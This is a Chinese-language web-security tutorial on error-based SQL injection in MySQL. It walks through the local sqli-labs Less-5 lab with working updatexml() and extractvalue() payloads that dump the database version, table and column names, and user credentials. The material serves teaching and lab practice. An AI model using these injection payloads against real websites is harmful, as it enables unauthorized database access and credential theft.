点我
SQL注入【报错型注入】
SQL注入【报错型注入】
利用场景
当页面没有正确的返回错误信息时,就可以利用报错注入
原理
利用数据库中的个别函数进行报错使用
常见函数
- updatexml()
- extractvalue()
extractvalue()
extractvalue() :对XML文档进行查询的函数
语法:extractvalue(目标xml文档,xml路径)
第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
extractvalue(456,concat(0x7e,version(),0x7e))
updatexml()
updatexml():更新XML文档的函数
语法:updatexml(目标xml内容,xml文档路径,更新的内容)
updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置里面写入了子查询,我们输入特殊字符,然后就因为不符合输入规则然后报错了,但是报错的时候他其实已经执行了那个子查询代码
其他所用函数
- concat() ==>将多个字符串连接成一个字符串
靶场Less-5
1、进入靶场
2、使用反斜杠\进行探测,报出错误信息
3、分析报错
''1\' LIMIT 0,1' ==>'1\' LIMIT 0,1 ==>猜测变量由单引号包裹
故构造payload 1' -- q
4、写入payload,页面正常
5、得到字段数3,观察到页面没有回显点,但是有报错信息
6、可利用updatexml()函数
构造payload:updatexml(1,concat(0x7e,version(),0x7e),1)
注意MySQL支持16进制编码
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,concat(0x7e,version(),0x7e),1)-- q
得出版本号 5.0以上
7、利用MySQL自带数据库information_schema
http://127.0.0.1/sqli/Less-5/?id=1' and
updatexml(1,concat(0x7e,(select table_name from information_schema.tables where
table_schema=database() limit 0,1),0x7e),1) -- q
8、查看users表中的字段名
http://127.0.0.1/sqli/Less-5/?id=1' and updatexml(1,
concat(0x7e,(select column_name from information_schema.columns where
table_schema=database() and table_name='users' limit 0,1),0x7e),1) -- q
得出users表中有三个字段名:id、username、password
9、分别得出username和password 字段数据
第一个username字段数据Dumb
第一个password字段数据:Dumb
分类:
WEB安全
版权申明
本文系作者 @小白学安全 原创发布在 xbxaq.com 站点,未经许可,禁止转载!
评论